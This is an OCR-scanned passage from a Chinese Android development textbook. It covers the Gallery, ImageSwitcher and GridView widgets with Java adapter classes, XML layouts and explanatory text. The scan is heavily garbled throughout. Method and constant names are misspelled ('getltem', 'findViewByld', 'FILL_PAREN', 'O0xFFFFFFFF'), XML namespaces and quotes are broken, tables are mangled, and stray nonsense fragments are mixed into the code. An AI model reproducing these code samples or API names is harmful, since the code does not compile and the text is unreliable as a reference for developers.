private class OnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View v) { 
MyTextSwitcherDemo.this.txtsw.setText(" 当 前 时 间 为 :" 
+ new SimpleDateFormat("yyyy-MM-dd HH:mm:ss.SSS") 
.format(new Date())); // 显 示 当 前 时 间 
} 
} 
private class ViewFactoryImpl implements ViewFactory { 
@Override 
public View makeView() { 
TextView txt = new TextView(MyTextSwitcherDemo.this); // 实 例 化 图 片 显 示 
txt.setBackgroundColor(O0xFFFFFFFF); /设置 背景 颜色 
txt.setTextColor(O0xFF000000) ; 
txt.setLayoutParams(new TextSwitcher.LayoutParams( // 自 适应 图 片 大 小 
LayoutParams.FILL_PARENT., LayoutParams.FILL_PAREN)); 
txt.setTextSize(30) ; /文字 大 小 
return txt; 
} 
} 
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CEEZTZZTEB sl xl 


革 明 国 8:57 


本 程序 的 使 用 与 ImageSwitcher 类 似 , 首先 定义 了 
-个 ViewFactoryImpl 的 内 部 类 实现 ViewSwitcher. 
ViewFactory 接口 , 但 是 由 于 此 时 显示 的 是 文本 , 所 以 当前 时 间 为 : 2011-07-26 
在 makeView() 方 法 中 返回 的 是 一 个 TextView 对 象 ， 08:57:50.139 
当 每 次 单 击 按钮 时 ， 会 将 格式 化 显示 后 的 当前 系统 时 
Ra 国 二 6 芝 下 新 


7.10 拖拉 图 片 : Gallery 


使 用 过 Android 手机 的 用 户 应 该 知道, 在 Android 中 可 以 使 用 一 些 软件 方便 地 进行 图 片 的 拖 
搜 浏览 ， 这 样 的 功能 可 以 通过 Gallery 组 件 实现 。 使 用 ee 
Gallery 组 件 可 以 定义 一 组 图 片 浏览 框 ， 如 图 7.37 所 示 ， FE EA 
可 以 降低 开发 者 对 于 图 片 浏览 功能 的 开发 难度 。 ps 

Gallery 类 的 继承 结构 如 下 : Oe 


java.lang.Object 


b android.view.View 
b android.view.ViewGroup 
b android.widget.AdapterView<T extends android.widget.Adapter> 
b android.widget.AbsSpinner 


b android.widget.Gallery 
Gallery 类 提供 的 常用 方法 如 表 7-20 所 示 。 


表 7-20 Gallery 类 的 常用 方法 


No. 方 ” 法 属 性 描 述 
1 |public Gallery(Context context) 创建 Gallery 对 象 
设置 两 个 图 片 之 间 的 
2 |public void setSpacing(int spacing) android:spacing ee , 
显示 间距 
3_|public void setAdapter(SpinnerAdapter adapter) 设置 图 片 集 


4 |public void setGravity(int gravity) android:gravity | 设置 图 片 的 对 齐 方式 
public void setOnItemClickListener (AdapterView. 


OnItemClickListener listeneT 


在 使 用 Gallery 设置 图 片 集 时 需要 使 用 setAdapter() 方 法 , 此 时 设置 的 是 SpinnerAdapter 接口 的 
对 象 ， 主 要 的 功能 是 定义 一 组 要 显示 的 组 件 的 适配器 ， 而 对 于 这 种 适配器 操作 有 两 种 可 选 方式 。 

方式 一 : 用 一 个 自 定 义 的 类 直接 继承 SpinnerAdapter 接口 的 子 类 一 一 android.widget. 

BaseAdapter 类 实现 ， 这 样 用 户 只 需要 履 写 核心 操作 方法 即 可 ， 不 需要 的 方法 可 以 不 履 写 。 


设置 选项 单 击 事件 
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方式 二 : 直接 使 用 之 前 学 习 过 的 SimpleAdapter 类 完成 。 

下 面 分 别 演示 如 何 采用 这 两 种 方式 完成 操作 。 

(1) 自 定义 适配器 类 

如 果 要 采用 自 定 义 适 配器 类 的 方式 完成 ， 可 以 直接 履 写 BaseAdapter 类 中 的 几 个 方法 ， 如 
表 7-21 所 示 。 


表 7-21 BaseAdapter 类 的 常用 方法 


No, 描述 
1 public abstract int getCountO 普通 取得 图 片 集中 图 片 的 个 数 
2 public abstract Object getItem(int position) 普通 取得 一 个 指定 位 置 的 图 片 对 象 
3 | public abstract long getItemId(int position) 普通 取得 一 个 指定 位 置 的 对 象 ID 
public abstract View getView(int position, View 普通 取得 一 个 指定 位 置 的 视图 显示 


convertView, ViewGroup parent 


【 例 7-61】 定义 一 个 表示 Gallery 图 片 的 适配器 类 一 一 ImageGalleryAdapter 
package org.Ixh.demo; 
import android.content.Context; 
import android.view.View; 
import android.view.ViewGroup; 
import android.widget.BaseAdapter 
import android.widget.Gallery; 
import android.widget.ImageView; 
import android.widget.LinearLayout.LayoutParams; 
public class ImageGalleryAdapter extends BaseAdapter { 
private Context myContext; /Context 对 象 
private int imgRes[] = new int[] { R.drawable.ispic_a, R.drawable.ispic_b, 
R.drawable.ispic_c, R.drawable.ispic_d, R.drawable.ispic_e}; 
public ImageGalleryAdapter(Context c) { /接收 Context 
this.myContext = c; 
} 
@Override 
public int getCount() { // 返 回 图 片 个 数 
return this.imgRes.length; 
} 
@Override 
public Object getltem(int position) { // 取 得 指定 位 置 的 图 片 
return this.imgRes[position]; 
} 
@Override 
public long getltemld(int position) { // 取 得 指定 位 置 的 图 片 
return this.imgRes[position]; 
} 
@Override 
public View getView(int position, View convertView, ViewGroup parent) { 
ImageView img = new ImageView(this.myContext); 
img.setBackgroundColor(0xFFFFFFFF); 
img.setlmageResource(thisimgRes[position]); // 给 ImageView 设置 资源 
img.setScaleType(ImageView.ScaleType.CENTER); /居中 显示 
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img.setLayoutParams(new Gallery.LayoutParams(LayoutParams.WRAP_CONTENT 
LayoutParams.WRAP_CONTEN)); // 布 局 参数 
return img; 


} 


} 
本 程序 首先 将 需要 显示 的 5 张 图 片 分 别 保存 在 drawable-* 文 件 夹 中 , 然后 将 所 有 图 片 资源 的 
ID 通过 imgRes 数组 进行 保存 ， 再 实现 BaseAdapter 类 中 所 需要 的 相关 方法 即 可 。 
了 提示 
ImageGalleryAdapter 也 可 以 使 用 List 集合 保存 数据 。 
在 ImageGalleryAdapter 类 中 ， 所 有 的 资源 是 通过 imgRes 数组 保存 的 ， 如 果 用 户 觉 得 数 
组 使 用 不 方便 ， 也 可 以 将 其 替换 成 List 集合 。 


下 面 直接 通过 Gallery 定义 一 个 图 片 浏览 操作 , 并 在 选中 某 张 图 片 之 后 , 通过 android.widget. 
Toast 类 显示 选中 图 片 的 资源 编号 。 
【 例 7-62】 在 main.xml 文件 中 定义 组 件 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apKk/res/android" 
android:id="@+id/MyLayout” // 布 局 管理 器 ID 
android:orientation="Vertica/” // 垂 直 摆 放 组 件 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<Gallery // 定 义 拖拉 图 片 组 件 

android:id="@+id/myGallery" // 组 件 ID， 程 序 中 使 用 

android:gravity="center_vertical” // 水 平 居 中 摆 放 组 件 

android:spacing="3px" // 显 示 的 间距 为 3 像素 

android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 

android:layout_height="wrap_content"/> // 组 件 高 度 为 图 片 高 度 
</LinearLayout> 


本 程序 只 在 布局 管理 器 中 定义 了 一 个 普通 的 Gallery 组 件 ， 而 且 设 置 了 组 件 中 各 个 图 片 项 的 
中 间 间 距 为 3 像素 (3px) 。 
【 例 7-63】 编写 Activity 程序 ， 显 示 选 中 图 片 的 信息 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.view.View; 
import android.widget.AdapterView; 
import android.widget.AdapterView.OnltemClickListener; 
import android.widget.Gallery; 
import android.widget. Toast; 
public class MyGalleryDemo extends Activity { 
private Gallery gallery = null; /图 片 浏览 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); // 调 用 布局 文件 
this.gallery = (Gallery) super.findViewByld(R.id.myGallery) ; /取得 组 件 
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this.gallery.setAdapter(new ImageGalleryAdapter(this)); 1/ 设置 图 片 集 
this.gallery.setOnltemClickListener(new OnltemClickListenerlImpl()) ; /设置 事件 
} 
private class OnltemClickListenerImpl implements OnltemClickListener { 
@Override 
public void onltemClick(AdapterView<?> parent, View view, int position, 
long id){ 
Toast.makeText(MyGalleryDemo.this, String.valueOf(position), 
Toast.LENGTH_SHORT).show(); // 显 示 图 片 编号 


} 

} 

本 程序 中 首先 通过 findViewById0 方 
法 取得 了 Gallery 组 件 的 对 象 ， 之 后 使 用 
dr 法 将 定义 的 aee 图 片 集合 
进行 转换 ， 当 用 户 选择 了 某 张 图 片 时 , 会 
通过 Toast 类 将 对 应 的 图 片 编号 进行 短暂 
的 显示 。 程 序 的 运行 效果 如 图 7-38 所 示 。 

(2) 使 用 SimpleAdapter 类 完成 

采用 方式 一 操作 , 可 以 通过 自 定 义 适 

忆 器 类 的 方式 显示 图 片 ， 除 此 之 外 ， 也 可 

直接 采用 SimpleAdapter 类 的 方式 完 
成 , 通过 自 定义 显示 模板 的 方式 显示 所 有 
的 图 片 资源 , 但 是 考虑 到 有 些 用 户 有 可 能 
随时 修改 资源 文件 , 所 以 本 程序 将 采用 反 图 738 Gallery 显示 
射 机 制 加 载 所 有 的 资源 ID。 
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提示 
关于 反射 机 制 。 
本 程序 将 使 用 java.langreflect.Field 类 动态 地 取出 所 有 保存 的 图 片 资源 , 此 部 分 内 容 可 以 
参考 《名 师 讲坛 一 一 Java 开发 实战 经 典 》 第 15 章 的 内 容 。 


CEESTTTTTER 


【 例 7-64】 定义 显示 模板 一 一 grid_layout.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlns:android="http:/schemas.android.com/apK/res/android”" 
android:orientation="horizontal” /所 有 组 件 水 平 摆 放 
android:layout_width="wrap_content” // 布 局 管理 器 宽度 为 组 件 宽度 
android:layout_height="wrap_content”" // 布 局 管理 器 高 度 为 组 件 高 度 
android:background=#FFFFFF"> // 设 置 背景 颜色 
<ImageView // 定 义 图 片 视 图 

android:id="@+id/img” 1/ 组件 iD， 程序 中 使 用 
android:layout_width="wrap_content” // 布 局 管理 器 宽度 为 图 片 宽度 
android:layout_height="wrap_content” // 布 局 管理 器 高 度 为 图 片 高 度 
android:scaleType="center"/> /居中 对 齐 

</LinearLayout> 
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本 程序 直接 采用 了 线性 布局 管理 器 ， 其 中 只 定义 了 一 个 ImageView 组 件 ， 而 且 所 有 的 布局 


参数 和 组 件 参数 与 之 前 所 编写 的 ImageGalleryAdapter 类 中 的 getView() 方 法 返回 的 组 件 是 一 样 
的 ， 即 本 程序 将 直接 通过 此 配置 文件 替换 掉 ImageGalleryAdapter 类 中 的 getView0 方 法 。 


【 例 7-65】 定义 Activity 程序 ， 显 示 Gallery 
package org.Ixh.demo; 
import java.lang.reflect.Field; 
import java.util.ArrayList; 
import java.util.HashMap; 
import java.util.List; 
import java.util.Map; 
import android.app.Activity; 
import android.os.Bundle; 
import android.view.View; 
import android.widget.AdapterView; 
import android.widget.AdapterView.OnltemClickListener 
import android.widget.Gallery; 
import android.widget.SimpleAdapter 
import android.widget. Toast; 
public class MyGalleryDemo extends Activity { 


private Gallery gallery = null; // 图 片 浏览 
private List<Map<String,Integer>> list = new ArrayList<Map<String,Integer>>() ; 
private SimpleAdapter simpleAdapter = null; // 适 配器 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 调 用 布局 文件 
this .initAdapter() ; // 初 始 化 适配器 
this.gallery = (Gallery) super.findViewByld(R.id.myGallery) ;// 取 得 组 件 
this.gallery.setAdapter(this.simpleAdapter); // 设 置 图 片 集 
this.gallery.setOnltemClickListener(new OnltemClickListenerImpl()) /设置 事件 
} 
private class OnltemClickListenerImpl implements OnltemClickListener { 
@Override 
public void onltemClick(AdapterView<?> parent, View view, int position, 
long id) { 
Toast.makeText(MyGalleryDemo.this, String.value Of(position), 
Toast.LENGTH_SHORT).show(); // 显 示 图 片 编号 
1 
} 
public void initAdapter(){ // 初 始 化 适配器 
Field[] fields = R.drawable.class.getDeclaredFields(); // 取 得 全 部 属性 
for (int x = 0; x < fields.length; x++){ // 循 环 找到 属性 
if (fields[x].getName!().startsWith("ispic_")){ /所 有 ispic_* 命 名 的 图 片 
Map<String,Integer> map = new HashMap<String,Integer>() ; // 定 义 Map 
try{ 
map.put("img", fields[x].getlnt(R.drawable.class)) ; 
} catch (Exception e){ // 设 置 图 片 资源 
} 
this.list.add(map) ; // 保 存 Map 
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} 
| 
this.simpleAdapter = new SimpleAdapter(this, /实例 化 SimpleAdapter 
this list, // 要 包装 的 数据 集合 
R.layout.grid_/ayout, // 要 使 用 的 显示 模板 
new String[] { "img" }, /定义 要 显示 的 Map 的 key 
new intl] {R.id.img }); // 与 模板 中 的 组 件 匹 配 


} 
i. 
本 程序 中 采用 了 SimpleAdapter 类 完成 了 适配器 的 操作 ， 而 后 定义 了 一 个 initAdapter0 方 法 ， 通 
过 反射 取得 了 所 有 资源 中 的 图 片 信 息 ， 之 后 将 所 有 以 “ispic *” 命 名 的 图 片 保 存 到 了 List 集合 中 ， 
再 通过 此 集合 为 SimpleAdapter 类 实例 化 ， 并 显示 所 有 的 图 片 ， 程 序 的 运行 效果 与 图 7-38 一 致 。 


了 提示 

开发 中 采用 SimpleAdapter 类 完成 。 

通过 比较 ， 读 者 应 该 清楚 了 自 定义 适配器 类 与 SimpleAdapter 类 的 使 用 区 别 及 联系 ， 而 
在 开发 中 为 了 方便 ， 大 部 分 程序 都 会 采用 SimpleAdapter 类 的 方式 完成 ， 这 样 可 以 很 好 地 实 
现 “ 代 码 和 配置 ” 相 分 离 ， 而 且 与 MVC 设计 模式 的 要 求 相 吻合 ， 而 对 于 MVC 设计 模式 不 
清楚 的 读者 ， 可 以 参考 《名 师 讲坛 一 Java Web 开发 实战 经 典 》 一 书 。 

对 于 自 定义 适配器 类 的 操作 形式 一 般 在 用 户 需要 手工 处 理 列表 项 的 情况 下 发 生 , 而 且 对 于 
之 前 讲解 的 ListView 组 件 ， 也 可 以 采用 自 定义 适配器 的 操作 形式 完成 ， 这 些 都 将 在 后 面 讲解 。 : 


以 上 只 是 完成 了 一 个 最 简单 的 图 片 列表 的 功能 ， 当 用 户 选择 某 张 图 片 之 后 ， 会 利用 Toast 

组 件 显示 用 户 选 择 图 片 的 编号 ， 下 面 再 开发 一 个 更 实用 的 组 件 ， 当 用 户 从 图 片 浏 览 框 中 选择 了 
- 张 图 片 之 后 ， 可 以 在 屏幕 上 将 这 张 图 片 完整 地 显示 出 来 ， 而 此 功能 就 可 以 将 Gallery 和 
ImageSwitcher 两 个 组 件 联合 起 来 使 用 。 
【 例 7-66】 在 main xml 文件 中 定义 组 件 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 


android:id="@+id/MyLayout” // 布 局 管理 器 ID 
android:orientation="vertica/” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 此 布局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent” // 此 布局 管理 器 高 度 为 屏幕 高 度 
android:gravity="bottom"> // 所 有 组 件 底 部 对 齐 
<ImageSwitcher /| 图 片 切换 组 件 
android:id="@+id/mylmage Switcher” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 显示 宽度 
android:layout_height= "wrap_contenty> // 组 件 高 度 为 显示 高 度 
<Gallery /定义 图 片 浏览 框 
android:id="@+id/myGallery”" // 组 件 ID， 程 序 中 使 用 
android:gravity="center_vertical” // 采 用 居中 对 齐 显示 
android:spacing="3px” // 各 个 列表 项 之 间 的 间距 
android:layout_width="fil_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_contenty> // 组 件 高 度 为 显示 高 度 


</LinearLayout> 
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在 本 布局 管理 器 中 定义 了 一 个 ImageSwitcher 和 一 个 Gallery 组 件 ， 当 通过 Gallery 选择 一 张 

图 片 时 ， 可 以 在 ImageSwitcher 中 显示 相关 的 图 片 。 
【 例 7-67】 定义 Activity 程序 ， 进 行 图 片 显 示 

package org.Ixh.demo; 

import java.lang.reflect.Field; 

import java.util.ArrayList; 

import java.util.HashMap; 

import java.util.List; 

import java.util.Map; 

import android.app.Activity; 

import android.os.Bundle; 

import android.view.View; 

import android.widget.AdapterView; 

import android.widget.AdapterView.OnltemClickListener; 

import android.widget.Gallery; 

import android.widget.ImageSwitcher 

import android.widget.ImageView; 

import android.widget.LinearLayout.LayoutParams; 

import android.widget.SimpleAdapter 

import android.widget.ViewSwitcher.ViewFactory; 

public class MyGalleryDemo extends Activity { 


private Gallery gallery = null; /图片 浏览 
private List<Map<String,Integer>> list = new ArrayList<Map<String,Integer>>() ; 
private SimpleAdapter simpleAdapter = null; // 适 配器 
private ImageSwitcher mylImageSwitcher = null ; // 图 片 切 换 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); /调用 布局 文件 
this .initAdapter() ; // 初 始 化 适配器 
this.gallery = (Gallery) super.findViewByld(R.id.myGallery) ; /取得 组 件 
this.mylImageSwitcher = (ImageSwitcher) super 


findViewByld(R.id.mylmage Switchen); // 取 得 组 件 
this.mylImageSwitcher.setFactory(new ViewFactoryImpl()) ; ”// 设 置 图 片 工 厂 
this.gallery.setAdapter(this.simpleAdapter); // 设 置 图 片 集 


this.gallery.setOnltemClickListener(new OnltemClickListenerImpl()) ;// 设 置 事件 
} 
private class OnltemClickListenerImpl implements OnltemClickListener { 
@SuppressWarnings("unchecked") 


@Override 
public void onltemClick(AdapterView<?> parent, View view, int position, 
long id){ 
Map<String, Integer> map = (Map<String, Integer>) MyGalleryDemo 
.this.simpleAdapter.getltem(position); /取出 Map 
MyGalleryDemo.this.mylImageSwitcher 
.setlImageResource(map.get("img")); /设置 显示 图 片 
} 
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public void initAdapter(){ // 初 始 化 适配器 
Field[] fields = R.drawable.class.getDeclaredFields(); 
for (int x = 0; x < fields.length; x++){ 


if (fields[x].getName!().startsWith("ispic_")){ /所 有 ispic_* 命 名 的 图 片 
Map<String,Integer> map = new HashMap<String,Integer>() ; /定义 Map 
try{ 

map.put("img", fields[x].getInt(R.drawable.class)) ; 
} catch (Exception e) { // 设 置 图 片 资 源 
} 
this.list.add(map) ; /保存 Map 
} 
} 
this.simpleAdapter = new SimpleAdapter(this, // 实 例 化 SimpleAdapter 
this list, // 要 包装 的 数据 集合 
R.layout.grid_/ayout, // 要 使 用 的 显示 模板 
new String[] { "img" }, // 定 义 要 显示 的 Map 的 key 
new intl] {R.id.img }); /与 模板 中 的 组 件 匹配 
} 
private class ViewFactoryImpl implements ViewFactory { // 定 义 视图 工厂 类 
@Override 
public View makeView() { 

ImageView img = new ImageView(MyGalleryDemo.this); // 实 例 化 图 片 显 示 

img.setBackgroundColor(0xFFFFFFFF); /设置 背景 颜色 


img.setScaleType(ImageView.ScaleType.CENTER); // 居 中 显示 
img.setLayoutParams(new ImageSwitcher.LayoutParams( // 自 适应 图 片 大 小 

LayoutParams.FILL_PARENT, LayoutParams.FILL_PAREN7));// 定 义 组 件 
return img; 


b 
bh 
本 程序 在 之 前 的 代码 基础 上 增加 了 ImageSwitcher 组 件 ， 当 选择 相关 的 图 片 之 后 会 触发 单 击 
事件 ， 而 在 此 事件 处 理 中 ,会 首先 根据 用 户 选 择 图 片 的 位 置 (position) 从 SimpleAdapter 类 中 取 
得 相关 的 配置 项 (Map) ， 并 取得 对 应 的 资源 DD， 之 后 使 用 setImageResource() 方 法 将 选择 的 图 
片 在 ImageSwitcher 组 件 中 进行 显示 。 程 序 的 运行 效果 如 图 7-39 所 示 。 


Igolal 


图 7-39 使 用 Gallery 和 ImageSwitcher 完成 图 片 显 示 
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7.11 网 格 视 图 : GridView 


GridView 组 件 是 以 网 格 的 形式 显示 所 有 的 组 件 ， 例 如 ， 在 制作 相册 时 ， 所 有 的 图 片 都 会 以 
相同 大 小 显示 在 不 同 的 格子 中 ， 此 功能 就 可 以 依靠 该 组 件 完成 。GridView 类 的 继承 结构 如 下 : 
java.lang.Object 
b android.view.View 
b android.view.ViewGroup 
b android.widget.AdapterView<T extends android.widget.Adapter> 


b android.widget.AbsListView 


b android.widget.GridView 
GridView 类 的 常用 方法 如 表 7-22 所 示 。 


表 7-22 GridView 类 的 常用 方法 


No. 方 法 属 性 描述 
1 |public GridView(Context context) 创建 GridView 对 象 
blic void setStretchMod 
2 oy ee 普通 ”|android:stretchMode 缩放 模式 
(int stretchMode) 


ublic void setVerticalSpacin! 和 i 
3 六 = wa android:verticalSpacing | 设置 垂直 间距 
int verticalSpacing 


ublic void setHorizontalSpacin & i 
4 . ne 普通 ”|android:horizontalSpacing | 设置 水 平 间 距 
inthorizontalSpacing 


3 public void setNumColumns 路 通 eb 设置 每 列 显示 的 数据 量 ， 如 果 设 
android:numColumns Mk 
int numColumns a 置 为 auto fit 则 表示 自动 设置 


public void setSelection 和 


通 设置 默认 选中 项 


(int position) 

7 |public void setGravity(int gravity) 

public void setAdapter 
ListAdapter adapter 


如 果 要 想 进 行 图 片 集 的 显示 ， 依 然 要 使 用 setAdapter0 方 法 完成 ， 而 此 方法 接收 的 是 ListAdapter 
接口 的 对 象 ， 由 于 BaseAdapter 类 实现 了 ListAdapter 接口 ， 所 以 此 处 可 以 继续 使 用 BaseAdapter 
类 的 SimpleAdapter 作为 适配器 类 。 
【 例 7-68】 定义 SimpleAdapter 所 需要 的 布局 管理 器 一 一 grid_layout.xml 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout // 定 义 线性 布局 管理 器 


xmlns:android="http:/schemas.android.com/apK/res/android™" 


android:eravity 设置 对 齐 模式 , 由 Gravity 类 指定 


设置 显示 图 片 集 


201 


名 师 讲坛 一 一 Android 开发 实战 经 典 


android:orientation="horizontal” // 所 有 组 件 水 平 摆 放 

android:layout_ width="wrap_content" // 布 局 管理 器 宽度 为 组 件 宽度 

android:layout_height="wrap_content” // 布 局 管理 器 高 度 为 组 件 高 度 

android:background="#000000"> // 背 景 颜色 

<ImageView /图片 视图 
android:id="@+iamrmg” // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” // 组 件 宽度 为 图 片 宽度 
android:layout_height= "wrap_content" // 组 件 高 度 为 图 片 高 度 
android:scaleType="center” // 居 中 对 齐 
android:padding="3px"/> // 四 周边 距 为 3 像素 

</LinearLayout> 


本 程序 将 在 drawable-* 文 件 夹 中 保存 24 张 图 片 ， 图 片 的 命名 均 为 “png *”， 而 且 为 了 方便 


操作 ， 依 然 定义 一 个 initAdapter0 方 法 ， 此 方法 通过 反射 机 制 取 出 定义 的 全 部 图 片 ， 并 将 其 设置 
到 SimpleAdapter 对 象 中 。 


【 例 7-69】 在 main.xml 文件 中 定义 组 件 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:id="@+id/MyLayout”" // 布 局 管理 器 ID 
android:orientation="Vertica/" // 所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="fill_parent"”> // 组 件 高 度 为 屏幕 高 度 
<GridView // 定 义 网 格 视图 
android:id="@+id/myGridView” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_content" // 组 件 高 度 为 屏幕 高 度 
android:numColumns="3”" /| 每 行 显示 3 个 组 件 
android:stretchMode="columnWidth"/> /| 缩放 时 与 列 的 宽度 保持 一 致 
</LinearLayout> 


本 程序 定义 的 GridView 组 件 ， 会 将 所 有 的 图 片 按照 每 行 3 列 的 形式 进行 显示 (android: 


numColumns="3") ， 而 且 图 片 的 缩放 与 列 宽 的 大 小 一 致 (android:stretchMode="columnWidth") 。 
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【 例 7-70】 定义 Activity 程序 
package org.Ixh.demo; 
import java.lang.reflect.Field; 
import java.util.ArrayList; 
import java.util.HashMap; 
import java.util.List; 
import java.util.Map; 
import android.app.Activity; 
import android.app.AlertDialog; 
import android.app.Dialog; 
import android.content.Dialoglnterface; 
import android.os.Bundle; 
import android.view.View; 
import android.widget.AdapterView; 
import android.widget.AdapterView.OnltemClickListener; 
import android.widget.Gallery.LayoutParams; 
import android.widget.GridView:; 
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import android.widget.ImageView; 
import android.widget.LinearLayout; 
import android.widget.SimpleAdapter; 
public class MyGridViewDemo extends Activity { 
private List<Map<String,Integer>> list = new ArrayList<Map<String,Integer>>() ; 


private SimpleAdapter simpleAdapter = null; // 适 配器 
private GridView myGridView = null ; /1GridView 组 件 
@Override 


public void onCreate(Bundle savedInstanceState) { 


} 


super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 调 用 布局 管理 器 
this.myGridView = (GridView) super.findViewByld(R.id.myGridView) ; /取得 组 件 
this.initAdapter() ; // 初 始 化 适配器 
this.myGridView.setAdapter(this.simpleAdapter) ; // 设 置 图 片 


this.myGridView.setOnltemClickListener(new OnltemClickListenerImpl()) ; 


private class OnltemClickListenerImpl implements OnltemClickListener { 


@SuppressWarnings("unchecked") 
@Override 
public void onltemClick(AdapterView<?> parent, View view, int position, 


long id) { // 选 项 单 击 事件 
ImageView showlmg = new lImageView(MyGridViewDemo.this); /定义 图 片 组 件 
showlmg.setScaleType(ImageView.ScaleType.CENTER);// 居 中 显示 
showlmg.setLayoutParams(new LinearLayout 
.LayoutParams(LayoutParams.WRAP_CONTENT, 


LayoutParams.WRAP_CONTEN)); // 布 局 参数 

Map<String, Integer> map = (Map<String, Integer>) MyGridViewDemo 

.this.simpleAdapter.getltem(position); /取出 Map 

showlmg.setImageResource(map.get("img")); // 设 置 显示 图 片 

Dialog dialog = new AlertDialog.Builder(MyGridViewDemo.this) // 创 建 Dialog 
.setlcon(R.drawable.pic_m) // 设 置 显示 图 片 
.setTitle(" 查 看 图 片 ) /设置 标题 
.setView(showlmg) /设置 组 件 
.setNegativeButton(" 关 闭 "， /设置 取消 按钮 


new Dialoglnterface.OnClickListener() { 
public void onClick(Dialoglnterface dialog, 


int whichButton) { 
}).create(); // 创 建 对 话 框 
dialog.show(); /显示 对 话 框 
public void initAdapter(){ // 初 始 化 适配器 


Field[] fields = R.drawable.class.getDeclaredFields(); 
for (int x = 0; x < fields.length; x++){ 


if (fields[x].getName().startsWith("png_")}{ /所 有 png_“* 命 名 的 图 片 
Map<String,Integer> map = new HashMap<String,Integer>() ; /定义 Map 
try{ 

map.put("img", fields[x].getInt(R.drawable.class)) ; 
} catch (Exception e) { 1/ 设 置 图 片 资源 
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} 
this.list.add(map) ; 
} 


this.simpleAdapter = new SimpleAdapter(this, 


this .list, 
R.layout.grid_/ayout, 
new String[] { "img" }, 
new int[] {R.id.img }); 
} 
} 
本 程序 在 取得 GridView 组 件 之 后 将 所 
有 的 图 片 资 源 通过 setAdapter0 方 法 设置 到 
了 显示 组 件 中 ， 而 每 当 用 户 选 择 一 张 图 片 
之 后 ,会 直接 弹出 一 个 对 话 框 ， 显 示 用 户 
所 选择 的 图 片 。 程 序 的 运行 效果 如 图 7-40 
所 示 。 
上 面 直接 使 用 了 SimpleAdapter 适配器 
类 实现 了 GridView 的 组 件 填充 ， 而 用 户 也 
可 以 采用 自 定义 适配器 的 方式 实现 与 之 相 
同 的 功能 ， 本 程序 所 使 用 的 布局 管理 器 与 
例 7-70 相同 ， 所 以 不 再 重复 列 出 。 
【 例 7-71】 定义 一 个 适配器 类 
package org.Ixh.demo; 
import android.content.Context'; 
import android.view.View; 
import android.view.ViewGroup; 
import android.widget.BaseAdapter; 
import android.widget.ImageView; 


/保存 Map 


/实例 化 SimpleAdapter 

// 要 包装 的 数据 集合 

// 要 使 用 的 显示 模板 

// 定 义 要 显示 的 Map 的 key 
// 与 模板 中 的 组 件 匹 配 


CEEZTZTEE 


图 7-40 GridView 显示 


ImageAdapter.java 


public class ImageAdapter extends BaseAdapter { 


private Context context = null; 
private int[] piclds = null; 


//Context 对 象 
/保存 所 有 图 片 资源 


public ImageAdapter(Context context, int[] piclds) { 


this.context = context; 
this.piclds = piclds; 

} 

@Override 

public int getCount() { 
return this.piclds.length; 

} 

@Override 

public Object getltem(int position) { 
return this.piclds[position]; 

} 

@Override 

public long getltemld(int position) { 
return this.piclds[position]; 
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/接收 Context 


// 保 存 图 片 资源 


// 取 得 个 数 


// 取 得 每 一 项 的 信息 


// 取 得 指定 项 的 ID 
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} 

@Override 

public View getView(int position, View convertView, ViewGroup parent) { 
ImageView img = new ImageView(this.context); /定义 图 片 视图 


img.setlImageResource(this.piclds[position]); // 给 ImageView 设置 资源 
img.setScaleType(ImageView.ScaleType.CENTER);/ 居 中 显示 
return img; 


} 
} 
【 例 7-72】 定义 Activity 程序 ， 使 用 ImageAdapter 填充 GridView 组 件 
package org.Ixh.demo; 
import android.app.Activity; 
import android.app.AlertDialog; 
import android.app.Dialog; 
import android.content.Dialoglnterface; 
import android.os.Bundle; 
import android.view.View; 
import android.widget.AdapterView; 
import android.widget.AdapterView.OnltemClickListener; 
import android.widget.Gallery.LayoutParams; 
import android.widget.GridView; 
import android.widget.ImageView; 
import android.widget.LinearLayout; 
public class MyGridViewDemo extends Activity { 
private GridView myGridView = null ; JGridView 组 件 
private int[] picRes = new int[] { R.drawable.png_01, R.drawable.png_02, 
R.drawable.png_03, R.drawable.png_04, R.drawable.png_05, 
R.drawable.png_06, R.drawable.png_07, R.drawable.png_08, 
R.drawable.png_09, R.drawable.png_10, R.drawable.png_11, 
R.drawable.png_12, R.drawable.png_13, R.drawable.png_14, 
R.drawable.png_15, R.drawable.png_16, R.drawable.png_717, 
R.drawable.png_18, R.drawable.png_19, R.drawable.png_20, 
R.drawable.png_21, R.drawable.png_22, R.drawable.png_23, 
R.drawable.png_24}; // 定 义 显示 资源 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); // 调 用 布局 管理 器 
